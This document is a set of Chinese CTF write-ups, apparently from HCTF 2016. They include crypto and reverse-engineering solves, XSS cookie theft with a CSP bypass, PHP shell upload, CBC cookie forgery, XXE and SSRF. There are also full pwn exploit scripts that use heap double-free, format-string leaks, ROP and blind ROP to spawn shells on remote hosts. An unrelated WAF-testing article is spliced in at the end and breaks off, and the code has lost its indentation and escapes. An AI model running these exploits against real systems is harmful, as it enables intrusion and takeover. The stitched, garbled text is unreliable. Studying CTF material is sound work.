def int_add(x1, x2):
return bytes_to_long(long_to_bytes(x1) + long_to_bytes(x2))
def H_hash(x):
h = sha512(long_to_bytes(x)).hexdigest()
return int(h, 16)
def F_hash(x):
h = sha512(long_to_bytes(x/4)).hexdigest()
return int(h, 16)
P=0xab72f3a7d42573afe7a71c23dbe3cf8feb7d8b9026a9b1c6174a0c598ceb88a1L
b=9718272430951996082
n= 0xf7a8a487bc5c8127ac30cfbfc08e042580f359edce3db416b8a9abcb0e8dcac5404bb0eea3076966a78bb8e726e6fea79d305cc7c2cddb3dd2578a64b5591df1c9716878f35f1967398861cb368886b60c6d0c2984be3ead8dcdd80d68bb094805068b5d157c16d2b56cf0c3f06797b07bf3a7ab2a5099762958feaf72a212a63c74a4fb7da4092e6a91e72bf74ee961b995545891290c50cb28151b540efdedef9d4cc1c104758050c21dda8be8310fc7e005a08cedbcc8500fe0f9fdaa044e7cb07387060358add1d82521b5f8697b6a8ca2bd19a363bae7558e94404a1c4b82ee98878f9dff0e21030e020c698778aa645001f4c7726d3ac04720295975c9L
spriv=76515803399948578070392316249460231617205640228540294074078216016927174232385
t = bytes_to_long(long_to_bytes(n)[:128])
yu = bytes_to_long(long_to_bytes(t)[:64])
yl = bytes_to_long(long_to_bytes(t)[64:])
xu = F_hash(yl)^yu
xl = H_hash(xu)^yl
s = int_add(xu, xl)
print hex(s)
spub = s&(2**256-1)
print hex(spub)
spriv = pow(spub, b, P)
print spriv
p=0x81a722c9fc2b2ed061fdab737e3893506eae71ca6415fce14c0f9a45f8e2300711119fa0a5135a053e654fead010b96e987841e47db586a55e3d4494613aa0cc4e4ab59fc6a958b59b825931b9b5cab0bfa07c6b0c4ac673060530d5ad8fa04f63c9f026f32c243c9a67a0fd223783dce9ad2e6a0524d559ed0c905c00323db5L
q=n/p
import primefac
e=0x4177
d=primefac.modinv(e,(p-1)*(q-1)) % ((p-1)*(q-1))
c=0xae580a97fec8c445276f6eeb54f4a8d0cab61eaa78a9d5824e61c13898e2a7f78bda4432e863b0b38b84564b62b0c557822c1b997a8a11c85ecd19b9a378e285c270af791750feb2b1954b5254d4521aaf98094e28f61ece61059802162f3af63c9ea9caa02710b4cb00ad074a4029537699dde481a8055f33a17c7055f02334b977b7db508f96c483a8a5dcd424d5cb6b583c6772ae45c99c9779cddd8bd9480f2aa50661c8fdf1b4f96d09e4ad058faeb354a522be5fc8a7014f149c8382e30ff5e844f958ed9b91292cedd5f82a375788c87d363517c1db11735a5d13bfea18890e9cd289880a659d70bee79525e0a368abf2cf9fdc9d3a692098d09b7a96L
m=pow(c,d,n)
def num2str(num):
tmp=hex(num)[2:].replace("L","")
if len(tmp) % 2 == 0:
return tmp.decode("hex")
else:
return ("0"+tmp).decode("hex")
print num2str(m)
**最正常的逆向**
一道很直接的逆向题，按照程序的逻辑一步一步来：
1.首先限制输入的长度为26，然后用这个长度去解码了一个函数。
2.用一个简单的xor判断前四位：得到hctf。之后再次解码函数，进行验证。
3.之后进行下一次验证，首先获得大括号内的前四个字符，将其按照aci分割成两个部分
3.1然后会根据之前的hctf初始化一个table。
3.2用该表参与运算后，将结果和xor_result =
0x8A012F269090095DLL;比较。最后可以确定结果为The_。然后继续解码函数进入下一个验证。
4.接下来是一个逻辑推到的过程，循环两次每一次将三个字节的key分解成四个字节，最后和八个字节比较，正确的结果是result_ =
5709797187881621056LL;可以推出这个六个字节为
Basic_，然后进入下一层验证
5.下一个判断很简单，分割重组异或和结果比较，可以推到出六字节0f_RE_，然后继续下一个判断函数。
6.最后一步是明码比较。
7.得到最后的key为：hctf{The_Basic_0f_RE_0A1e}
**48小时学会CPP**
CPP混淆加密
template<x,y>A
{
c = enum{c=???};
}
然后调用A::c这种模式可以改成
X A(int x,int y)
{
return c=???;
}
这种函数，方便逆向；
逆向后发现；
V0和V1必须返回为1，接下来的校验才会进行，否则直接就是错误；
Cfun10c函数是检测FLAG长度的，要使其返回1，必须是FLAG长度为27；
Cfun21函数用来校验FLAG[0]~FLAG[4]以及FLAG[25]
FLAG[a]^48==cArr1c[a];
逆向得到hctf{********************
这个过程逆向后得到}
hctf{********************
cfun20c(a,b)的意思就是
如果a==0
这个可以得到FLAG[5]=S
接下来的FLAG[6]到FLAG[24]的规则一样(i>=1)
If(i%2==1)
{
X=(FLAG[i+5]-((i-1)*i/2)^106)
X高低4位互换
X=X^cArr2c[i-1]按位异或
Return X== cArr2c[i]
}
If(i%2==0)
{
X=(FLAG[i+5]+((i-1)*i/2)^106)
X高低4位互换
X=X^cArr2c[i-1]按位异或
Return X== cArr2c[i]
}
PAYLOAD如下
FLAG是
hctf{S0_Ea5y_Cpp_T3mp1at3}
#include <stdio.h>
#include <vector>
using namespace std;
vector<unsigned char> FLAG(27,27); //input the flag !!!
int cFun1c(int a, int b)
{
return (a == b);
};
int cfun2c(int a, int b)
{
return (a ^ b);
};
int cfun3c(int b)
{
return FLAG[b];
};
int cfun4c(int a, int b)
{
return a % b ;
};
const static int cfun5c(int a, int b)
{
const static int c = b << a;
return c;
};
const static int cfun6c(int a, int b)
{
const static int c = b >> a;
return c;
};
const static int cfun7c(int a, int b)
{
const static int c = a & b;
return c;
};
const static int cfun8c(int a, int b)
{
const static int c = a | b;
return c;
};
int cfun9c(int b)
{
if (b == 0)
return 0;
int c = b + cfun9c(b - 1);
return c;
};
int cfun10c(int b)
{
return cFun1c((FLAG.size() - 1), b) ;
};
int cfun11c(int a, int b)
{
if (b == 0)
return 0;
return cFun1c(cfun2c(cfun3c(a), 0x20), 93);
};
constexpr unsigned char cArr1c[] = { 88,83,68,86,75 };
int cfun12c(int a)
{
return cArr1c[a];
};
int cfun13c(int a,int b)
{
if (b == 0)
{
return 0;
}
if (a == -1 && b == 1)
{
return 1;
}
if (b == 1)
{
return cfun13c(a - 1, cFun1c(cfun12c(a), cfun2c(cfun3c(a), 0x30)));
}
return cfun13c(a - 1, cFun1c(cfun12c(a), cfun2c(cfun3c(a), 0x30)));
};
int cfun14c(int a, int b)
{
if (b == 0)
{
return cfun3c(a + 5 * cfun10c(26)) + a;
}
if (b == 1)
{
return (cfun3c(a + 5 * cfun10c(26)) - a);
}
return 0;
};
int cfun15c(int a)
{
return cfun2c(cfun9c(a), 106);
};
int cfun16c(int a)
{
return cfun2c(cfun14c(a, cfun4c(a, 2)), cfun15c(a));
};
int cfun17c(int a)
{
return cfun8c(cfun6c(4, a), cfun5c(4, cfun7c(a, 0xF)));
};
const static int cfun18c(int a)
{
//printf("%d", a);
if (a == 0)
{
return cfun17c(cfun16c(0));
}
const static int c = cfun2c(cfun17c(cfun16c(a)), cfun18c(a - 1));
return c;
};
constexpr int cArr2c[] = { 0x93,0xd7, 0x57, 0xb5, 0xe5, 0xb0, 0xb0, 0x52, 0x2, 0x0, 0x72, 0xb5, 0xf1, 0x80, 0x7, 0x30, 0xa, 0x30, 0x44, 0xb };
unsigned char cfun19c(int a)
{
return cArr2c[a];
};
int cfun20c(int a,int b)
{
if (a == 20 && b == 1)
return 1;
if (b == 0)
{
return 0;
}
return cfun20c(a + 1, cFun1c( cfun19c(a), cfun18c(a)));
};
int cfun21c(int b)
{
if (b == 0)
{
return 0;
}
return cfun11c(26 - b, cfun13c(4, 1));
};
int bStart()
{
return cfun20c(0, cfun21c(cfun10c(26)));
};
int mm;
void dfs(int max)
{
if (FLAG.size() >= max)
{
if (bStart())
{
printf("Yes,You got itn");
for (int i = 0;i < max;i++)
{
printf("%c", FLAG[i]);
}
}
else
{
if (mm < max)
{
printf("%d",mm);
mm = max;
}
}
return;
}
for (char i = 0;i < 127;i++)
{
FLAG.push_back(i);
dfs( max);
FLAG.pop_back();
}
}
int main()
{
bStart();
for (unsigned char i = 1;i < 20;i++)
{
unsigned char x = cfun9c(i) ^ 106;
unsigned char y = cArr2c[i -1] ^ cArr2c[i];
unsigned char y_h = y << 4;
unsigned char y_l = y >> 4;
y = y_h | y_l;
y = y^x;
if (i % 2 == 1)
{
y += i;
}
else
{
y -= i;
}
printf("%c", y);
}
return 0;
}
**gogogo**
魂斗罗小游戏，我有金手指我怕谁。233
玩游戏得flag系列
hctf{ju5tf0rfun}
**你们所知道的隐写就仅此而已吗**
Blindwatermark隐写，在知乎上有一个答主讲了如何进行盲水印隐写，利用的是傅立叶变换吧。
利用 matlab 运行搜索到的代码
imageA = imread('3.bmp','bmp');
fftA = fft2(imageA);
imshow(fftshift(fftA))
imshow(fft(rgb2gray(imread('shimakaze.bmp'))), [1,2]);
Flag如下：
**pic again**
用stegsolve进行LSB检测
发现在 0 通道有异常
用StegSolve的Data Extract功能将隐写信息提取出来
Preview 发现存在一个压缩包点击save bin
在压缩包中的文件找到了flag
**杂项签到**
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])
def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'
print len(message)
example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
print example
example = decrypt(example, 'Qq4wdrhhyEWe4qBF')
print example
fl="mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=="
print decrypt(fl.decode("base64"), 'Qq4wdrhhyEWe4qBF')
**Re 50**
题目的逻辑是这样的
字符串一共20位，前面的奇数和后面的倒数的技术互换，前面一半的的偶数和后面一半的偶数为下一个偶数位+2，
字符串变换后 出来是与0xcc进行异或
用下表来表示的话，那么应该是
0 19
2 17
4 15
6 13
8 11
进行交换
7 9
5 7
3 5
1 3
右边的+2赋值给左边的
我们逆向怎么做呢，先比较的字符串异或，得到操作后的正确的字符串，再反操作字串，
最后比较的key是：
003CFDAC B1 00 00 00 A4 00 00 00 B5 00 00 00 87 00 00 00
003CFDBC AD 00 00 00 AD 00 00 00 93 00 00 00 B9 00 00 00
003CFDCC BF 00 00 00 BF 00 00 00 93 00 00 00 FD 00 00 00
003CFDDC FC 00 00 00 BB 00 00 00 FF 00 00 00 B7 00 00 00
003CFDEC F9 00 00 00 B8 00 00 00 ED 00 00 00 A4 00 00 00
在IDA中也能看出来这些
V4是输入后变换的
变换后异或 再与key比较
所以题目应该是 正确的flag hctf{It_1s_s0_3a5y!} 输入之后，进行上述的位变换，然后与0xcc异或，最后与上图中的key比较。
将上述的key 与0xcc异或转字符串得到}hyKaa_uss_10t3{5t!h
然后进行位变换
str='}hyKaa_uss_10t3{5t!h'
s=list(str)
leng=len(str)
for i in range(0,leng/2,2):
temp = s[i]
s[i]=s[leng-i-1]
s[leng-i-1]=temp
print ''.join(s)
for i in range(9,1,-2):
s[i] = chr(ord(s[i-2])-2)
print ''.join(s)
由于是栈操作得到的flag 第二位被覆盖了。
我们根据格式修改一下就好了所以flag是
hctf{It_1s_s0_3a5y!}
>>>
**level1-2099年的flag**
题目提示需要ios99系统
找一个ios系统的useragent
Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1
修改为
Mozilla/5.0 (iPhone; CPU iPhone OS 99_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1
再发送请求
在返回包中找到包含flag的请求头
**level2-RESTFUL**
打开网页，chrome查看到xhr请求，
于是对index.php尝试put请求并加上参数money（用restful的格式）得到flag
**level2-giligili**
<https://github.com/ctfs/write-ups-2016/tree/master/sctf-2016-q1/web/obfuscation-180>
分析方法相同，但是遇到一个坑，按照xor的结果第二段字符串为b?H¹，放到网页里提示成功却不是正确的flag，猜一下，发现用y0ur代替b?H¹
也是正确的解。
**level2-兵者多诡**
<https://www.securusglobal.com/community/2016/08/19/abusing-php-wrappers/>
找到上面这篇writeup后学习各种姿势后，照着拿到了flag
**level3-必须比香港记者跑得快**
<http://changelog.hctf.io/README.md>
# 跑得比谁都快
## ChangeLog 的故事
## 这里是加了.git之后忘删的README.md XD by Aklis
## ChangeLog
– 2016.11.11
完成登陆功能，登陆之后在session将用户名和用户等级放到会话信息里面。
判断sessioin['level']是否能在index.php查看管理员才能看到的**东西**。
XD
– 2016.11.10
老板说注册成功的用户不能是管理员，我再写多一句把权限降为普通用户好啰。
– 2016.10
我把注册功能写好了
可以看到注册的过程中包含
添加一个用户初始level > 0，降级该用户
登陆的时候将level放入session
于是判断存在条件竞争。在注册操作中降级用户之前登陆。Session中保存的用户level就不为0
**level3-guestbook**
验证码只需要爆破1-99999的数字的MD5，会有一个MD5的前四4位与网页中的相同。
然后观察到返回的请求头
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
CSP策略中script可以执行inline。
于是直接在message中写js代码通过location.href跳转或者xhr的方式把cookie和当前网址发送到自己的服务器上。
然后观察到script 和 on 被置换为空，双写绕过即可。
最后伪造cookie登陆后拿到flag
**level4-大图书馆的牧羊人**
扫描到.git/config 下载源码后发现登录后会将用户名加密存储在cookie中，而如果cookie解密后是admin，就能访问到后台。
用comm.php里的密钥加密admin登陆上后台，有一个上传功能
$files = isset($_FILES['file']) ? $_FILES['file'] : exit();
if($files['type']!=="application/epub+zip") {
exit("Not Allow type!");
}
//extract
$file = new ZipArchive;
$epub_name = $files['tmp_name'];
$extracted_path = 'uploads/'.basename($files['name'],".epub")."/";
if ($file->open($epub_name) === TRUE){
$file->extractTo($extracted_path);
$file->close();
阅读上传源码,只需要修改content-type让代码继续执行，去解压zip到uploads目录。于是直接上传一个有php
shell的zip就拿到了shell
**level4-secret area**
和guestbook比较类似，也有防御xss的csp策略而且并不支持script 的
inline执行。注册登录后发现修改个人资料处提供一个上传头像的功能，然而在测试一番后发现上传处并没有什么缺陷，但是在html中发现有个功能提供302跳转<http://sguestbook.hctf.io/static/redirect.php?u=>
而http://sguestbook.hctf.io/static/ 目录是在csp策略里script标签白名单里的，于是在头像文件里写上xss
payload，上传后得到http://sguestbook.hctf.io/
/upload/e8ea98429c80cfd74e000cce900612a3。
然后就只需要构造<script
src=http://sguestbook.hctf.io/static/redirect.php?u=/upload/e8ea98429c80cfd74e000cce900612a3
> 这个标签即可绕过csp策略。script on 被过滤，也是双写绕过即可。
**level4-web选手的自我修养**
下载docker镜像misc.tar后执行命令
docker load < misc.tar
docker run -t -i hctf/misc150 /bin/bash
加载镜像并执行镜像里的bash
Home目录中发现php7-opcache-override-master。
于是查找到一篇资料<http://www.tuicool.com/articles/ryE3Qfi>利用opcache隐藏后门
于是去/tmp/opcache/5c8fa39e1df122a51d720c5716df71e4/home/wwwro
ot/default/ 查找发现一堆bin文件。就又去home目录翻到了wwwlogs/access.log
发现有多条记录直接访问/wp-includes/class-wp.php，这个文件一般来说会用包含的方式使用，猜测后门就在这里。
编辑器打开/tmp/opcache/5c8fa39e1df122a51d720c5716df71e4/home/wwwroot/default/wp-includes/class-wp.php.bin 有一堆不可见字符，用strings命令提取后最后两行
Base64解码后得到flag
**level4-AT Field_1**
ssrf 漏洞，限制了内网ip。通过302跳转可以绕过，
在网址处输入<http://sguestbook.hctf.io/static/redirect.php?u=http://127.0.0.1>
源码中有一串base64 解码即可得到flag
**level5-魔法禁书目录**
和前面那道题一样，只是不再有明文的密钥，而是通过cbc翻转攻击构造管理员的cookie
类似于<http://www.liuhaihua.cn/archives/375276.html>
然而注册的时候用户名控制在6-20之间。构造admin的密文需要得到同样为5位长度或者5+16长度的明文加密后的密文。恰好在这个范围之外。查看代码发现
function decrypt( $string ) {
$密钥 = "233333";
$algorithm = 'rijndael-128';
$key = md5($密钥, true );
$iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
$string = urlsafe_b64decode( $string );
$iv = substr( $string, 0, $iv_length );
$encrypted = substr( $string, $iv_length );
$result = mcrypt_decrypt( $algorithm, $key, $encrypted, MCRYPT_MODE_CBC, $iv );
$result = rtrim($result, "");
return $result;
}
在解密的最后清除掉了
所以构造admin的密文即可
注册一个adminx的用户，得到密文 oPR4gZAqfHYnOhWw1GcX-zIEvN_1OCaamhmDLxRigpA
<?php
function urlsafe_b64encode($string) {
$data = base64_encode($string);
$data = str_replace(array('+','/','='),array('-','_',''),$data);
return $data;
}
function urlsafe_b64decode($string) {
$data = str_replace(array('-','_'),array('+','/'),$string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
return base64_decode($data);
}
function decrypt2( $string ) {
$string = urlsafe_b64decode( $string );
$string[5] = chr(ord($string[5])^0^ord('x'));
$string = urlsafe_b64encode($string);
return $string;
}
echo decrypt2("oPR4gZAqfHYnOhWw1GcX-zIEvN_1OCaamhmDLxRigpA");
得到密文后伪造cookie登陆。
审计到upload.php中有xml的解析。于是利用xxe漏洞盲打读取根目录flag.php文件内容即可
**就是干（fheap）**
漏洞部分：
删除时，由于检查的条件str_info指针在delete后并没有置空，存在double free，如下：
结构体如下，存在函数指针：
创建时，管理结构大小为0x20字节，而数据部分大小可控。如下：
利用点：
所以可以根据fastbin，构造数据部分和管理结构大小相等，在分配时，错乱顺序，可以让数据部分和管理结构重合，从而改写函数指针，程序开启了pie，可以只改写释放函数的后两字节（其前面部分地址是一样的），将其改写成printf_plt，实现任意地址泄露，因为libc没有提供，所以可以通过printf来实现dynelf的leak函数，由于前面说的数据段和管理结构可以重叠，改写buff指针以及其函数指针，最终利用代码如下：
脚本如下：
from zio import *
target = "./fheap"
target = ("115.28.78.54", 80)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def t_create(io, buff):
io.read_until("3.quitn")
io.write("create ")
io.read_until(":")
io.writeline(str(len(buff)))
io.read_until(":")
io.write(buff)
def t_delete(io, tid, padding = "yes"):
io.read_until("3.quitn")
io.write("delete ")
io.read_until(":")
io.writeline(str(tid))
io.read_until(":")
io.writeline(padding)
g_io = 0
g_canary = 0
proc_addr = 0
def gen_payload(func_got, arg1, arg2, arg3):
#set_args_addr
set_args_addr = 0x11da + proc_addr
call_func_addr = 0x11c0 + proc_addr
payload = ""
payload += l64(set_args_addr)
payload += l64(0) #pop rbx = 0
payload += l64(1) #pop rbp
payload += l64(func_got) #pop r12
payload += l64(arg3) #pop r13
payload += l64(arg2) #pop r14
payload += l64(arg1) #pop r15
payload += l64(call_func_addr)
payload += l64(0) #nouse padding : add rsp, 8
payload += l64(0) #pop rbx = 0
payload += l64(1) #pop rbp
payload += l64(func_got) #pop r12
payload += l64(arg3) #pop r13
payload += l64(arg2) #pop r14
payload += l64(arg1) #pop r15
payload += l64(call_func_addr)
return payload
def leak_addr(addr):
global g_io
global proc_addr
t_delete(g_io, 1)
index0 = 9
printf_plt = 0x9d0 + proc_addr
#print "printf_plt:", hex(printf_plt)
payload = ""
payload += ("%%%d$s--..--"%(index0)).ljust(0x18, 'a')
payload += l64(printf_plt)[:3] + "x00"
t_create(g_io, payload)
padding = "yes.aaaa"
padding += l64(addr)
t_delete(g_io, 2, padding)
#data = io.read_until_timeout(2)
data = g_io.read_until("--..--")[:-6]
data += "x00"
return data
def get_shell(system_addr):
global g_io
global proc_addr
t_delete(g_io, 1)
index0 = 9
printf_plt = 0x9d0 + proc_addr
#print "printf_plt:", hex(printf_plt)
payload = ""
payload += ("/bin/sh;").ljust(0x18, 'a')
payload += l64(system_addr)[:6] + "x00"
t_create(g_io, payload)
padding = "yes.aaaa"
padding += ""
t_delete(g_io, 2, padding)
#data = io.read_until_timeout(2)
io.interact()
from pwn import *
def pwn(io):
global g_io
global proc_addr
g_io = io
io.read_until(":")
io.writeline("927e613a91620da8c5f10936faf70f4dgDR95OLX")
t_create(io, "a"*0x20)
t_create(io, "a"*0x20)
t_create(io, "a"*0x20)
t_create(io, "a"*0x20)
t_delete(io, 0)
t_delete(io, 1)
t_delete(io, 2)
t_delete(io, 3)
t_create(io, "a"*0x40)
release_func = 0xD6c
printf_plt = 0xb9d0
#io.gdb_hint()
#printf_plt = int(raw_input("printf_plt:"), 16)
index0 = 9
ret_index = (0x458 - 0x348)/8 + index0
__libc_start_main_index = (0x878 - 0x348)/8 + index0
canary_index = (0x108)/8 + index0 - 1
payload = ""
payload += ("%%%d$p.%%%d$p.%%%d$p--..--"%(ret_index, __libc_start_main_index, canary_index)).ljust(0x18, 'a')
payload += l64(printf_plt)[:2] + "x00"
t_create(io, payload)
padding = "yes.aaaa"
padding += "b"*8
padding += "c"*8
t_delete(io, 2, padding)
#data = io.read_until_timeout(2)
data = io.read_until("--..--")
print data
if "--..--" not in data:
return False
data = data[:data.find("--..--")]
items = data.split('.')
proc_addr = int(items[0], 16) - 0xcf2
__libc_start_main_addr = int(items[1], 16)
print "__libc_start_main_addr:", hex(__libc_start_main_addr)
canary_data = int(items[2], 16)
print "canary_data:", hex(canary_data)
print "proc_addr:", hex(proc_addr)
g_canary = canary_data
print "get it"
read_got = 0x0000000000202058 + proc_addr
data = leak_addr(read_got)
read_addr = l64(data[:8].ljust(8, 'x00'))
print "read_addr:", hex(read_addr)
print [c for c in data]
offset = -0xb12e0
if offset == 0:
#d = DynELF(leak_addr, proc_addr)
d = DynELF(leak_addr, proc_addr, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
print "system_addr:", hex(system_addr)
offset = system_addr - read_addr
print "offset:", hex(offset)
system_addr = read_addr + offset
print "system_addr:", hex(system_addr)
get_shell(system_addr)
import time
while True:
try:
io = get_io(target)
if pwn(io) == False:
continue
except Exception, e:
#raise
pass
time.sleep(2)
flag如下：
**ASM**
程序实现了一个代码仿真器，他提供了一系列的类x86指令，功能也类似，并提供了make_code，能对汇编代码进行转换，
里面的重点指令功能：lea dst,src 能够实现将src(寄存器或者内存地址)的地址取出来，并放到dst中去，所以可以通过lea
r1,r0,取得r0的内存地址。
通过栈实现任意地址读写：
在内存布局中，有以下关系：
|…..Libc……..|
|…..data…….|
|…..heap…….|
|…..stack……|
仿真器中的堆栈在程序中的heap中，而在pop（伪栈下移）时，未检测上界限，可以泄露上面的地址（取内存中值），在push（伪栈上移）时，未检测下界限，可以改写stack的地址（写内存值）。而sp可以直接通过mov等指令进行改写。
泄露的libc地址可以用仿真器的寄存器存储，并找到libc中environ的位置，从而得到栈的地址，该libc直接通过libc_database可以查到，最终在栈中布置好rop，在仿真代码结束后，即可获取shell。
利用脚本系列如下：
获取shell的带注释的asm文件如下：
data:
0x6c6c6568,0x726f776f,0x646c
end
lea r0,r0
sub r1,r0,0x3054
;set read_got
add r0,r1,0x3010
;leak info in r0: r2 = [r0]
mov r2,sp
mov sp,r0
pop r0
mov sp,r2
mov r2,r0
;libc_base addr
sub r0,r2,0xd41c0
push r0
;leak environ_got
add r0,r0,0x001b1dbc
;show info
;mov r2,r0
;push r2
;call puts
;mov r0,r2
;leak environ_addr
mov r2,sp
mov sp,r0
pop r0
mov sp,r2
mov r2,r0
;ret addr
sub r2,r2,0xd0
;push r2
add r2,r2,0xC
#get libc_base
pop r1
;set addr at r2
mov sp,r2
#binsh_addr
add r0,r1,0x158e8b
push r0
#system_addr
add r0,r1,0x0003a940
push r0
add r0,r1,0x0003a940
push r0
;show info
;push r2
;call puts
;push r2
;call puts
;push r2
;call puts
$
对上述asm文件去注释脚本：
file_r = open("do_work.asm", 'r')
info = file_r.readlines()
file_r.close()
file_w = open("do_work_real.asm", 'w')
for line in info:
if line.startswith(";"):
continue
if line.startswith("#"):
continue
if len(line.strip()) == 0:
continue
file_w.write(line)
file_w.close()
获取shell脚本：
from zio import *
target = "./pwn"
target = ("115.28.78.54", 23333)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def pwn(io):
io.read_until(":")
io.writeline("927e613a91620da8c5f10936faf70f4dgDR95OLX")
io.read_until("!n")
file_r = open("1.bin", "rb")
data = file_r.read()
file_r.close()
sinal = "give me your code, end with a single line of '$'n"
data = data.replace(sinal, "")
#print data
io.gdb_hint()
#data = data.ljust(0x300, 'a')
io.write(data)
io.interact()
io = get_io(target)
pwn(io)
转换bin文件并执行脚本run.sh：
python compiler.py
./make_code < do_work_real.asm > 1.bin
python pwn.py
flag如下：
**出题人失踪了**
因为没有给bin，根据两个提示，感觉可能是一个栈溢出。
猜测没有开启pie，所以基地址为0x08048000或者0x400000。最开始尝试0x08048000,没有任何发现。
经过测试，当输入字符超过72字节时，程序不会回显No password, No game。
构造如下payload爆破，发现当i=0x711时，程序会正常打印No password, No
game，而i=0x70c时，程序会继续等待输入。所以可以推断0x40070c为call指令，调用漏洞函数，0x400711为函数返回地址。
for i in range(0, 0x1000):
payload = 'a'*72 + l64(0x0400000+i)
因为是64位程序，要想实现任意地址泄露，主要需要知道pop_rdi_ret和puts_plt的地址。
在64位ELF中，通常存在一个pop r15；ret，对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。
当一个地址满足如下3个payload都能正常打印NO password, No game的话，就可以得到一个pop rdi;ret的地址。
Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(0x400711)
Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(0x400711)
Payload3 = 'a'*72 + l64(addr+1) +l64(0x400711)
最终得到的pop_rdi_ret地址为0x4007c3。
**构造**
Payload3 = 'a'*72 + l64(pop_rdi_ret) +l64(0x400000)+l64(addr)
如果程序打印前4个字节为x7fELF，则addr为puts_plt。
得到puts_plt的地址为0x400570
后面就是dump+exp了。Exp大致如下:
from threading import Thread
import time
# from uploadflag import *
from zio import *
target = ('119.254.101.197', 10000)
target = './test'
target = ('115.28.78.54', 13455)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
def exp4(target):
puts_plt = 0x400570
pop_rdi_ret = 0x4007c3
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.read_until('token:')
io.writeline('927e613a91620da8c5f10936faf70f4dgDR95OLX')
base = 0x400000
d = ''
while True:
print hex(len(d))
io.read_until('?n')
payload = 'a'*72 + l64(pop_rdi_ret) +l64(base+len(d)) + l64(puts_plt)
io.writeline(payload)
d += io.readline()[:-1] + 'x00'
if len(d) > 0x9bc:
break
f = open('code.bin', 'wb')
f.write(d)
f.close()
base = 0x600e10
d = ''
while True:
print hex(len(d))
io.read_until('?n')
payload = 'a'*72 + l64(pop_rdi_ret) +l64(base+len(d)) + l64(puts_plt)
io.writeline(payload)
d += io.readline()[:-1] + 'x00'
if len(d) > 0x248:
break
f = open('data.bin', 'wb')
f.write(d)
f.close()
io.close()
def exp5(target):
puts_plt = 0x400570
pop_rdi_ret = 0x4007c3
read_got = 0x601028
puts_got = 0x601018
passcode = 'aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk'
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.read_until('token:')
io.writeline('927e613a91620da8c5f10936faf70f4dgDR95OLX')
io.read_until('?n')
main = 0x004006BD
io.writeline('a'*72+l64(pop_rdi_ret)+l64(puts_got)+l64(puts_plt)+l64(main))
base = l64(io.readline()[:-1].ljust(8, 'x00')) - 0x000000000006f690
system = base + 0x0000000000045390
binsh = base + 0x18c177
io.read_until('?n')
io.writeline('a'*72+l64(pop_rdi_ret)+l64(binsh)+l64(system)+l64(main))
interact(io)
exp5(target) | 社区文章 |
# 【技术分享】从甲方的角度谈谈WAF测试方法
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[lewisec_com ](http://bobao.360.cn/member/contribute?uid=2778418248)****
稿费：300RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0X01 测试思路**
**环境搭建**
服务器：使用DVWA搭建一套包含各类漏洞的网站，并开启access日志以供分析。DVWA搭建过程不细说。
WAF：反向代理部署，将DVWA服务器做反向代理后映射出VS IP。测试时所有payload发送至VS IP，经WAF处理后交给DVWA服务器。
测试方法：客户端构造payload提交给VS IP，服务器查看access日志。如被有效识别并过滤，access日志应没有相关内容。
**0X02 OWASP TOP10 常规防御**
**SQLi**
get型注入：http://10.44.100.18/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#的参数id可以注入，构造payload提交即可。
post型注入：DVWA登录过程用burpsuite抓包，即可构造post型注入。
**XSS**
反射型XSS和存储型XSS在DVWA中都有，构造payload即可。
CSRF、command injection、Brute Foce、File upload等等方式，DVWA都有了，不细说。
漏掉的是SSRF、反序列化、structs、心脏滴血，这些攻击在当前版本的DVWA中是没有设计的，需要单独考虑。
**0X03 绕过技术的防御**
除了最常见攻击手法的防御以外，WAF还应该具备识别变形的Payload的能力。
目前国内外商业WAF可以识别99%以上的常规攻击手段，区别主要就体现在对各类编码后的变形Payload的分析能力上。
这里面又区分成了两大类思路。
**思路一：**
WAF抓取到HTTP包后，做多重解码，将每重解码的结果提取正则，与特征库进行匹配。各家能解码的层数会有区别。F5的ASM可以支持最多5层并且允许用户手工设定层数。其他家虽不可指定解码层数，但都具备响应能力。
**思路二：**
